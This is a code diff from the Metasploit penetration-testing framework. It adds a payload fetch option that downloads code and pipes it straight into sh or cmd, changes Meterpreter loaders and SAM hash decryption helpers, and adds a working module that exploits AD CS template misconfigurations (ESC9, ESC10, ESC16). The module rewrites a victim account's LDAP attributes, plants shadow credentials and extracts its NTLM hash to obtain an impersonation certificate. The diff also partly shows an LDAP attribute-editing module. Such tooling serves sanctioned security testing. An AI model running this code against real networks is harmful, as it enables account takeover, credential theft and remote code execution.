print_error('GET binary does not support insecure mode')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
|
||||
get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
|
||||
when 'FTP'
|
||||
get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
|
||||
end
|
||||
_execute_add(get_file_cmd)
|
||||
end
|
||||
|
||||
def _generate_get_pipe
|
||||
# Specifying the method (-m GET) is necessary on OSX
|
||||
execute_cmd = 'sh'
|
||||
execute_cmd = 'cmd' if windows?
|
||||
case fetch_protocol
|
||||
when 'HTTP'
|
||||
return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
|
||||
when 'HTTPS'
|
||||
# There is no way to disable cert check in GET ...
|
||||
print_error('GET binary does not support insecure mode')
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
|
||||
return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
|
||||
when 'FTP'
|
||||
return "GET ftp://#{_download_pipe}|#{execute_cmd}"
|
||||
else
|
||||
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
|
||||
end
|
||||
end
|
||||
|
||||
def _generate_ftp_command
|
||||
case fetch_protocol
|
||||
when 'FTP'
|
||||
|
||||
@@ -3,10 +3,10 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP GET TFTP TNFTP WGET]]),
|
||||
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
|
||||
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
|
||||
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
|
||||
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]),
|
||||
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
|
||||
]
|
||||
)
|
||||
|
||||
@@ -13,7 +13,7 @@ module Payload::Android::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Android
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
||||
@@ -13,7 +13,7 @@ module Payload::Java::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Java
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
||||
@@ -14,7 +14,7 @@ module Payload::Python::MeterpreterLoader
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MeterpreterOptions::Python
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
||||
@@ -106,7 +106,7 @@ resolve:
|
||||
js name_resolve ; If high order bit is not set resolve with INT entry
|
||||
sub eax,0x80000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp insert_iat ; Insert the address of API tı IAT
|
||||
jmp insert_iat ; Insert the address of API to IAT
|
||||
name_resolve:
|
||||
add eax,esi ; Set the address of function hint
|
||||
add eax,0x02 ; Move to function name
|
||||
|
||||
@@ -73,8 +73,9 @@ module Msf
|
||||
|
||||
# only upload the file if a compiler exists
|
||||
write_file path.to_s, strip_comments(data)
|
||||
|
||||
compiler_cmd = "#{compiler} -o '#{path.sub(/\.c$/, '')}' '#{path}'"
|
||||
|
||||
executable_path = path.sub(/\.c$/, '')
|
||||
compiler_cmd = "#{compiler} -o '#{executable_path}' '#{path}'"
|
||||
if session.type == 'shell'
|
||||
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
|
||||
end
|
||||
@@ -95,7 +96,7 @@ module Msf
|
||||
fail_with Module::Failure::BadConfig, message
|
||||
end
|
||||
|
||||
chmod path
|
||||
chmod executable_path
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -909,7 +909,7 @@ module Msf
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::DISPLAY_MODULE_ACTION) && mod.respond_to?(:actions) && mod.actions.size > 1
|
||||
print_status "Using action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command"
|
||||
print_status "Setting default action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command"
|
||||
end
|
||||
|
||||
mod.init_ui(driver.input, driver.output)
|
||||
|
||||
@@ -72,6 +72,16 @@ class Driver < Msf::Ui::Driver
|
||||
elog(e)
|
||||
end
|
||||
|
||||
# Check if files have been modified and force immediate loading if so
|
||||
has_modified_metasploit_files = !Msf::Modules::Metadata::Store.valid_checksum?
|
||||
|
||||
if has_modified_metasploit_files
|
||||
current_checksum = Msf::Modules::Metadata::Store.get_current_checksum
|
||||
Msf::Modules::Metadata::Store.update_cache_checksum(current_checksum)
|
||||
# Force immediate module loading when files have changed
|
||||
opts['DeferModuleLoads'] = false
|
||||
end
|
||||
|
||||
if opts['DeferModuleLoads'].nil?
|
||||
opts['DeferModuleLoads'] = Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DEFER_MODULE_LOADS)
|
||||
end
|
||||
@@ -163,7 +173,8 @@ class Driver < Msf::Ui::Driver
|
||||
self.framework.init_module_paths(module_paths: opts['ModulePath'], defer_module_loads: opts['DeferModuleLoads'])
|
||||
end
|
||||
|
||||
unless opts['DeferModuleLoads']
|
||||
# Refresh module cache if modules are modified, or we're not deferring loads
|
||||
if has_modified_metasploit_files || !opts['DeferModuleLoads']
|
||||
framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
framework.modules.refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
@@ -2,6 +2,9 @@ module Msf
|
||||
module Util
|
||||
module WindowsCryptoHelpers
|
||||
|
||||
EMPTY_LM = "\xaa\xd3\xb4\x35\xb5\x14\x04\xee\xaa\xd3\xb4\x35\xb5\x14\x04\xee".b
|
||||
EMPTY_NT = "\x31\xd6\xcf\xe0\xd1\x6a\xe9\x31\xb7\x3c\x59\xd7\xe0\xc0\x89\xc0".b
|
||||
|
||||
#class Error < RuntimeError; end
|
||||
#class Unknown < Error; end
|
||||
|
||||
@@ -200,28 +203,26 @@ module WindowsCryptoHelpers
|
||||
def decrypt_user_key(hboot_key, user_v, rid)
|
||||
sam_lmpass = "LMPASSWORD\x00"
|
||||
sam_ntpass = "NTPASSWORD\x00"
|
||||
sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
|
||||
sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
|
||||
|
||||
# TODO: use a proper structure for V data, instead of unpacking directly
|
||||
hashlm_off = user_v[0x9c, 4]&.unpack('V')&.first
|
||||
hashlm_len = user_v[0xa0, 4]&.unpack('V')&.first
|
||||
if hashlm_off && hashlm_len
|
||||
hashlm_enc = user_v[hashlm_off + 0xcc, hashlm_len]
|
||||
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, sam_empty_lm)
|
||||
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, EMPTY_LM)
|
||||
else
|
||||
elog('decrypt_user_key: Unable to extract LM hash, using empty LM hash instead')
|
||||
hashlm = sam_empty_lm
|
||||
hashlm = EMPTY_LM
|
||||
end
|
||||
|
||||
hashnt_off = user_v[0xa8, 4]&.unpack('V')&.first
|
||||
hashnt_len = user_v[0xac, 4]&.unpack('V')&.first
|
||||
if hashnt_off && hashnt_len
|
||||
hashnt_enc = user_v[hashnt_off + 0xcc, hashnt_len]
|
||||
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, sam_empty_nt)
|
||||
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, EMPTY_NT)
|
||||
else
|
||||
elog('decrypt_user_key: Unable to extract NT hash, using empty NT hash instead')
|
||||
hashnt = sam_empty_nt
|
||||
hashnt = EMPTY_NT
|
||||
end
|
||||
|
||||
[hashnt, hashlm]
|
||||
|
||||
@@ -85,11 +85,11 @@ class Pivot
|
||||
c = Class.new(::Msf::Payload)
|
||||
c.include(::Msf::Payload::Stager)
|
||||
c.include(::Msf::Payload::TransportConfig)
|
||||
c.include(::Msf::Sessions::MeterpreterOptions)
|
||||
|
||||
# TODO: add more platforms
|
||||
case opts[:platform]
|
||||
when 'windows'
|
||||
c.include(::Msf::Sessions::MeterpreterOptions::Windows) # Moved to be platform-specific
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if opts[:arch] == ARCH_X86
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||
|
||||
@@ -79,6 +79,9 @@ module Rex::Proto::CryptoAsn1
|
||||
OID_AES192_CCM = ObjectId.new('2.16.840.1.101.3.4.1.27', name: 'OID_AES192_CCM', label: 'AES192 in CCM mode')
|
||||
OID_AES256_GCM = ObjectId.new('2.16.840.1.101.3.4.1.46', name: 'OID_AES256_GCM', label: 'AES256 in GCM mode')
|
||||
OID_AES256_CCM = ObjectId.new('2.16.840.1.101.3.4.1.47', name: 'OID_AES256_CCM', label: 'AES256 in CCM mode')
|
||||
|
||||
# https://oidref.com/2.5.29.37.0
|
||||
OID_ANY_EXTENDED_KEY_USAGE = ObjectId.new('2.5.29.37.0', name: 'OID_ANY_EXTENDED_KEY_USAGE', label: 'Any Extended Key Usage')
|
||||
|
||||
def self.name(value)
|
||||
value = ObjectId.new(value) if value.is_a?(String)
|
||||
|
||||
@@ -36,6 +36,7 @@ module Rex::Proto
|
||||
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000
|
||||
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000
|
||||
CT_FLAG_SKIP_AUTO_RENEWAL = 0x00040000
|
||||
CT_FLAG_NO_SECURITY_EXTENSION = 0x80000
|
||||
|
||||
# [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667)
|
||||
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001
|
||||
|
||||
@@ -76,7 +76,7 @@ Gem::Specification.new do |spec|
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.221'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.42'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.45'
|
||||
# Needed by msfgui and other rpc components
|
||||
# Locked until build env can handle newer version. See: https://github.com/msgpack/msgpack-ruby/issues/334
|
||||
spec.add_runtime_dependency 'msgpack', '~> 1.6.0'
|
||||
@@ -108,9 +108,9 @@ Gem::Specification.new do |spec|
|
||||
# Required for Metasploit Web Services
|
||||
spec.add_runtime_dependency 'puma'
|
||||
spec.add_runtime_dependency 'ruby-mysql'
|
||||
spec.add_runtime_dependency 'thin', '~> 1.8' # Additional dev cycles required to update thin/sinatra/etc to a major version
|
||||
spec.add_runtime_dependency 'sinatra', '~> 3.2'
|
||||
spec.add_runtime_dependency 'rack', '~> 2.2'
|
||||
spec.add_runtime_dependency 'thin'
|
||||
spec.add_runtime_dependency 'sinatra'
|
||||
spec.add_runtime_dependency 'rack'
|
||||
spec.add_runtime_dependency 'warden'
|
||||
spec.add_runtime_dependency 'swagger-blocks'
|
||||
# Required for JSON-RPC client
|
||||
@@ -249,10 +249,6 @@ Gem::Specification.new do |spec|
|
||||
# to generate PNG files, not to parse untrusted PNG files.
|
||||
spec.add_runtime_dependency 'chunky_png'
|
||||
|
||||
# Temporary, remove once the Rails 7.1 update is complete
|
||||
# see: https://stackoverflow.com/questions/79360526/uninitialized-constant-activesupportloggerthreadsafelevellogger-nameerror
|
||||
spec.add_runtime_dependency 'concurrent-ruby', '1.3.4'
|
||||
|
||||
# Needed for multiline REPL support for interactive SQL sessions
|
||||
spec.add_runtime_dependency 'reline'
|
||||
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'ruby_smb/dcerpc/client'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Exploit::Remote::MsIcpr
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession::SMB
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',
|
||||
'Description' => %q{
|
||||
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
|
||||
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
|
||||
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
|
||||
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
|
||||
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
|
||||
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
|
||||
|
||||
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
|
||||
reverted after execution to maintain system integrity.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Will Schroeder', # original idea/research
|
||||
'Lee Christensen', # original idea/research
|
||||
'Oliver Lyak', # certipy implementation
|
||||
'Spencer McIntyre', # icpr_cert module implementation
|
||||
'jheysel-r7' # module implementation
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/GhostPack/Certify' ],
|
||||
[ 'URL', 'https://github.com/ly4k/Certipy' ],
|
||||
[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],
|
||||
[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ]
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [],
|
||||
'Stability' => [],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'AKA' => [ 'ESC9', 'ESC10', 'ESC16']
|
||||
},
|
||||
'Actions' => [
|
||||
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
|
||||
],
|
||||
'DefaultAction' => 'REQUEST_CERT'
|
||||
)
|
||||
)
|
||||
|
||||
deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')
|
||||
|
||||
register_options([
|
||||
OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),
|
||||
OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),
|
||||
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
|
||||
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
|
||||
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
|
||||
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser'])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation
|
||||
def valid_fqdn?(str)
|
||||
str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/
|
||||
end
|
||||
|
||||
def validate_options
|
||||
if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
|
||||
fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
validate_options
|
||||
send("action_#{action.name.downcase}")
|
||||
rescue MsIcprConnectionError, SmbIpcConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue MsIcprNotFoundError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
rescue MsIcprUnexpectedReplyError => e
|
||||
fail_with(Failure::UnexpectedReply, e.message)
|
||||
rescue MsIcprUnknownError => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
def call_ldap_object_module(action, value = nil)
|
||||
mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'
|
||||
|
||||
print_status("Loading #{mod_refname}")
|
||||
ldap_update_module = framework.modules.create(mod_refname)
|
||||
|
||||
unless ldap_update_module
|
||||
print_error("Failed to load module: #{mod_refname}")
|
||||
return
|
||||
end
|
||||
|
||||
# Default to using the SMB credentials if LDAP credentials are not provided
|
||||
ldap_update_module = framework.modules.create(mod_refname)
|
||||
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
|
||||
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
|
||||
ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']
|
||||
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
|
||||
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
|
||||
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
|
||||
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
|
||||
ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
|
||||
ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
|
||||
ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'
|
||||
ldap_update_module.datastore['VALUE'] = value
|
||||
ldap_update_module.datastore['ACTION'] = action
|
||||
|
||||
print_status("Running #{mod_refname}")
|
||||
ldap_update_module.run_simple(
|
||||
'LocalInput' => user_input,
|
||||
'LocalOutput' => user_output,
|
||||
'RunAsJob' => false
|
||||
)
|
||||
end
|
||||
|
||||
def call_shadow_credentials_module(action, device_id = nil)
|
||||
mod_refname = 'admin/ldap/shadow_credentials'
|
||||
|
||||
print_status("Loading #{mod_refname}")
|
||||
ldap_update_module = framework.modules.create(mod_refname)
|
||||
|
||||
unless ldap_update_module
|
||||
print_error("Failed to load module: #{mod_refname}")
|
||||
return
|
||||
end
|
||||
|
||||
# Default to using the SMB credentials if LDAP credentials are not provided
|
||||
ldap_update_module = framework.modules.create(mod_refname)
|
||||
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
|
||||
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
|
||||
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
|
||||
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
|
||||
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
|
||||
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
|
||||
ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']
|
||||
ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?
|
||||
ldap_update_module.datastore['ACTION'] = action
|
||||
|
||||
print_status("Running #{mod_refname}")
|
||||
ldap_update_module.run_simple(
|
||||
'LocalInput' => user_input,
|
||||
'LocalOutput' => user_output,
|
||||
'RunAsJob' => false
|
||||
)
|
||||
end
|
||||
|
||||
def automate_get_hash(cert_path, username, domain, rhosts)
|
||||
mod_refname = 'admin/kerberos/get_ticket'
|
||||
|
||||
print_status("Loading #{mod_refname}")
|
||||
get_ticket_module = framework.modules.create(mod_refname)
|
||||
|
||||
unless get_ticket_module
|
||||
print_error("Failed to load module: #{mod_refname}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Getting hash for #{username}")
|
||||
get_ticket_module.datastore['CERT_FILE'] = cert_path
|
||||
get_ticket_module.datastore['USERNAME'] = username
|
||||
get_ticket_module.datastore['DOMAIN'] = domain
|
||||
get_ticket_module.datastore['RHOSTS'] = rhosts
|
||||
get_ticket_module.datastore['RPORT'] = 88
|
||||
get_ticket_module.datastore['ACTION'] = 'GET_HASH'
|
||||
|
||||
res = get_ticket_module.run_simple(
|
||||
'LocalInput' => user_input,
|
||||
'LocalOutput' => user_output,
|
||||
'RunAsJob' => false
|
||||
)
|
||||
fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res
|
||||
res
|
||||
end
|
||||
|
||||
def action_request_cert
|
||||
new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']
|
||||
# Get the original while updating (the update action returns the original value upon success)
|
||||
@original_value = call_ldap_object_module('UPDATE', new_value)
|
||||
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
|
||||
|
||||
# Call the shadow credentials module to add the device and get the cert path
|
||||
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
|
||||
@device_id, cert_path = call_shadow_credentials_module('add')
|
||||
hash = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
|
||||
with_ipc_tree do |opts|
|
||||
datastore['SMBUser'] = datastore['TARGET_USERNAME']
|
||||
datastore['SMBPass'] = hash
|
||||
request_certificate(opts)
|
||||
end
|
||||
ensure
|
||||
print_status('Removing shadow credential')
|
||||
call_shadow_credentials_module('remove', device_id: @device_id)
|
||||
print_status('Reverting ldap object')
|
||||
revert_ldap_object
|
||||
end
|
||||
|
||||
def revert_ldap_object
|
||||
# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
|
||||
# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.
|
||||
if @original_value.to_s.empty?
|
||||
call_ldap_object_module('DELETE')
|
||||
else
|
||||
call_ldap_object_module('UPDATE', @original_value)
|
||||
end
|
||||
end
|
||||
|
||||
# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
|
||||
# @return [void]
|
||||
def with_ipc_tree
|
||||
opts = {}
|
||||
if session
|
||||
print_status("Using existing session #{session.sid}")
|
||||
self.simple = session.simple_client
|
||||
opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
|
||||
end
|
||||
|
||||
yield opts
|
||||
ensure
|
||||
opts[:tree].disconnect! if opts[:tree]
|
||||
end
|
||||
end
|
||||
@@ -91,12 +91,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def validate_options
|
||||
if datastore['CERT_FILE'].present?
|
||||
certificate = File.binread(datastore['CERT_FILE'])
|
||||
begin
|
||||
@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')
|
||||
rescue OpenSSL::PKCS12::PKCS12Error => e
|
||||
fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")
|
||||
end
|
||||
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
|
||||
@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]
|
||||
|
||||
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
|
||||
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::OptionalSession::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LDAP Update Object',
|
||||
'Description' => %q{
|
||||
This module allows creating, reading, updating and deleting attributes of LDAP objects.
|
||||
Users can specify the object and must specify a corresponding attribute.
|
||||
},
|
||||
'Author' => ['jheysel'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['CREATE', { 'Description' => 'Create an LDAP object' }],
|
||||
['READ', { 'Description' => 'Read the the LDAP object' }],
|
||||
['UPDATE', { 'Description' => 'Modify the LDAP object' }],
|
||||
['DELETE', { 'Description' => 'Delete the LDAP object' }]
|
||||
],
|
||||
'DefaultAction' => 'READ',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptEnum.new('OBJECT_LOOKUP', [true, 'How to look up the target LDAP object', 'dN', ['dN', 'sAMAccountName']]),
|
||||
OptString.new('OBJECT', [true, 'The target LDAP object']),
|
||||
OptString.new('ATTRIBUTE', [true, 'The LDAP attribute to update (e.g., userPrincipalName)']),
|
||||
OptString.new('VALUE', [false, 'The value for the specified LDAP object attribute'], conditions: ['ACTION', 'in', %w[Create Update] ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def find_target_object
|
||||
search_filter = "(&(#{ldap_escape_filter(datastore['OBJECT_LOOKUP'])}=#{ldap_escape_filter(datastore['OBJECT'])}))"
|
||||
result = []
|
||||
|
||||
@ldap.search(base: @base_dn, filter: search_filter, attributes: ['distinguishedName', datastore['ATTRIBUTE']]) do |entry|
|
||||
result << entry
|
||||
end
|
||||
|
||||
if result.empty?
|
||||
fail_with(Failure::NotFound, "Could not find any object matching the filter: #{search_filter}")
|
||||
elsif result.size > 1
|
||||
fail_with(Failure::UnexpectedReply, "Found multiple objects matching the filter: #{search_filter}. This should not happen.")
|
||||
end
|
||||
|
||||
result.first
|
||||
end
|
||||
|
||||
def action_read
|
||||
target_object = find_target_object
|
||||
target_dn = target_object['dN'].first
|
||||
attribute_value = target_object[datastore['ATTRIBUTE'].to_sym]&.first
|
||||
|
||||
if attribute_value.blank?
|
||||
fail_with(Failure::NotFound, "Attribute #{datastore['ATTRIBUTE']} is not set for #{target_dn}")
|
||||
end
|
||||
|
||||
print_good("Found #{target_dn} with #{datastore['ATTRIBUTE']} set to #{attribute_value}")
|
||||
attribute_value
|
||||
end
|
||||
|
||||
def action_create
|
||||
target_object = find_target_object
|
||||
target_dn = target_object['dN'].first
|
||||
attribute = datastore['ATTRIBUTE'].to_sym
|
||||
value = datastore['VALUE']
|
||||
|
||||
print_status("Attempting to add attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}...")
|
||||
|
||||
ops = [[:add, attribute, value]]
|
||||
@ldap.modify(dn: target_dn, operations: ops)
|
||||
validate_query_result!(@ldap.get_operation_result.table)
|
||||
|
||||
print_good("Successfully added attribute #{datastore['ATTRIBUTE']} with value #{value} to #{target_dn}")
|
||||
end
|
||||
|
||||
def action_update
|
||||
target_object = find_target_object
|
||||
target_dn = target_object['dN'].first
|
||||
attribute = datastore['ATTRIBUTE'].to_sym
|
||||
original_value = target_object[attribute]&.first
|
||||
print_status("Current value of #{datastore['OBJECT']}'s #{datastore['ATTRIBUTE']}: #{original_value}")
|
||||
|
||||
